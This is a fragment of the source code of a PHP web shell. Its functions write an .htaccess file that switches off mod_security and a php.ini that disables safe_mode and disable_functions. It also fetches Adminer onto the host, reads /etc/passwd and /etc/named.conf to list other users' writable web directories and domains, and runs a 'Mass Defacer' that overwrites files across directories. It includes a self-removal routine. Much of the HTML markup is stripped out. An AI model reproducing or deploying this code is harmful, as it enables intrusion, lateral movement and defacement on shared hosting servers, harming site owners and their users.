[ .htaccess(Mod) ] '; if(!empty($_POST['p2']) && isset($_POST['p2'])){ $fil=fopen($GLOBALS['cwd'].".htaccess","w"); fwrite($fil,' Sec------Engine Off Sec------ScanPOST Off '); fclose($fil); } if(!empty($_POST['p1'])&& isset($_POST['p1'])){ $fil=fopen($GLOBALS['cwd']."php.ini","w"); fwrite($fil,'safe_mode = Off disable_functions = none'); fclose($fil); } echo "


"; echo '
'; printFooter(); } function actionAdminer() { printHeader(); echo '

Adminer

'; echo '
'; $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); if(file_exists('adminer.php')) { echo "


[ Adminer login ]


"; } else { if(adminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) { echo "


[ Adminer login ]

"; } else { echo "
Failed to create Adminer file
"; } } echo '
'; printFooter(); } function actionJumping() { printHeader(); echo '

Jumping :D

'; echo '
'; $i = 0; echo "
"; $etc = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd"); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach ($user_jumping[1] as $user_Anonymous_jump) { $user_jumping_dir = "/home/{$user_Anonymous_jump}/public_html"; if (is_readable($user_jumping_dir)) { $i++; $jrw = "[R] {$user_jumping_dir}"; if (is_writable($user_jumping_dir)) { $jrw = "[RW] {$user_jumping_dir}"; } echo $jrw; if (function_exists('posix_getpwuid')) { $domain_jump = file_get_contents("/etc/named.conf"); if ($domain_jump == '') { echo " => ( I can't take the domain name )
"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj")); $user_jumping_url = $user_jumping_url['name']; if ($user_jumping_url == $user_Anonymous_jump) { echo " => ( $dj )
"; break; } } } } else { echo "
"; } } } } } if ($i == 0) { } else { echo "
Total " . $i . " Directory " . gethostbyname($_SERVER['HTTP_HOST']) . ""; } echo "
"; printFooter(); } function actionSelfRemove() { if($_POST['p1'] == 'yes') if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed'); else echo 'unlink error!'; if($_POST['p1'] != 'yes') printHeader(); echo '

Suicide


Really want to remove the shell?
Yes
'; printFooter(); } function actionDeface() { printHeader(); $pout = ""; if($_POST['a'] == 'Deface') { $mainpath = $_POST['p1']; $file = $_POST['p2']; $txtContents = $_POST['p3']; $pout .= "Mass Defacer script"; $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!! while ($row = readdir($dir)) { $start = @fopen("$row/$file", "w+"); $code = $txtContents; $finish = @fwrite($start, $code); if ($finish) { $pout .= "$row/$file > Done

"; } } } echo "

Mass Defacer

"; echo '

Folder:
file name :
Text Content :

'; printFooter(); } function actionDomain() { printHeader(); echo '

Local Domains

'; $file = @implode(@file("/etc/named.conf")); $Domain_path = "/var/named"; if (!$file) { $domains = scandir($Domain_path); $count=1; $dc = 0; echo ""; foreach ($domains as &$domain) { if (stripos($domain,".db")) { $domain = str_replace('.db','',$domain); } if (strlen($domain) > 6) { echo ""; } } echo "
There are : ( " . count($domains) . " ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink.
NoDomainUser
".$count++."".$domain."User
"; } else { $count = 1; preg_match_all("#named/(.*?).db#", $file, $r); $domains = array_unique($r[1]); echo ""; foreach ($domains as $domain) { $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); echo ""; } echo "
There are ( " . count($domains) . " ) Domains in this Sever.I think you have got something this time yeah!!!.
NoDomainUser
".$count++."".$domain."".$user['name']."
"; } printFooter(); } if( empty($_POST['a']) ){ if(isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action; else $_POST['a'] = 'SecInfo'; } if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ){ call_user_func('action' . $_POST['a']); } } ?>